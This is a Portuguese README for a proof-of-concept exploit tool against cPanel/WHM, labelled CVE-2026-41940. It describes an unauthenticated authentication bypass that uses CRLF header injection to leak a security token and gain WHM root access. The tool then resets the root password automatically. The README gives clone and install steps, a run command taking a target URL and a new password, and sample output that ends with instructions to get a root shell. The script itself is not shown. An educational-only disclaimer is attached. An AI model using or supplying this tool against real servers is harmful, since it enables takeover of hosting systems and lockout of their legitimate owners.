CVE-2026-41940 Exploração Automática

Visão Geral

CVE-2026-41940 é uma prova de conceito (PoC) de exploração direcionada ao cPanel/WHM.
Esta exploração demonstra um desvio de autenticação não autenticado usando injeção CRLF para vazar tokens de segurança e obter acesso de nível root à interface WHM, permitindo ações como alterar a senha do root.

Aviso: Esta PoC é apenas para fins educacionais. Não use em sistemas sem permissão.

Recursos

• Descoberta automática de hostname: Identifica automaticamente o hostname canônico para contornar as restrições do cabeçalho Host.
• Criação de sessão pré-autenticação: Gera uma sessão inicial válida para injeção.
• Injeção CRLF: Aproveita a injeção em cabeçalhos para vazar o cp_security_token.
• Propagação de sessão: Força o token vazado para o cache de autenticação do servidor.
• Redefinição da senha do root: Altera automaticamente a senha do root do WHM após o desvio bem-sucedido.
• Dependências mínimas: Funciona com a biblioteca padrão requests.

Instalação

1. Clone o repositório:

git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940

2. Instale as dependências:

pip install requests

Requisitos: requests, urllib3

Uso

python3 CVE_2026_41940.py --target <URL_ALVO> --password <NOVA_SENHA>

Exemplo:

python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

Argumentos

Saída

O console mostra:

• Mensagens de status [0-4]
• Sucesso [+]
• Falha [!]
• Informação [*]

Exemplo:

[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

Segurança e Aviso

• Apenas para fins educacionais e de teste.
• Não ataque sites sem permissão explícita.
• Use apenas em laboratório controlado ou teste de penetração autorizado.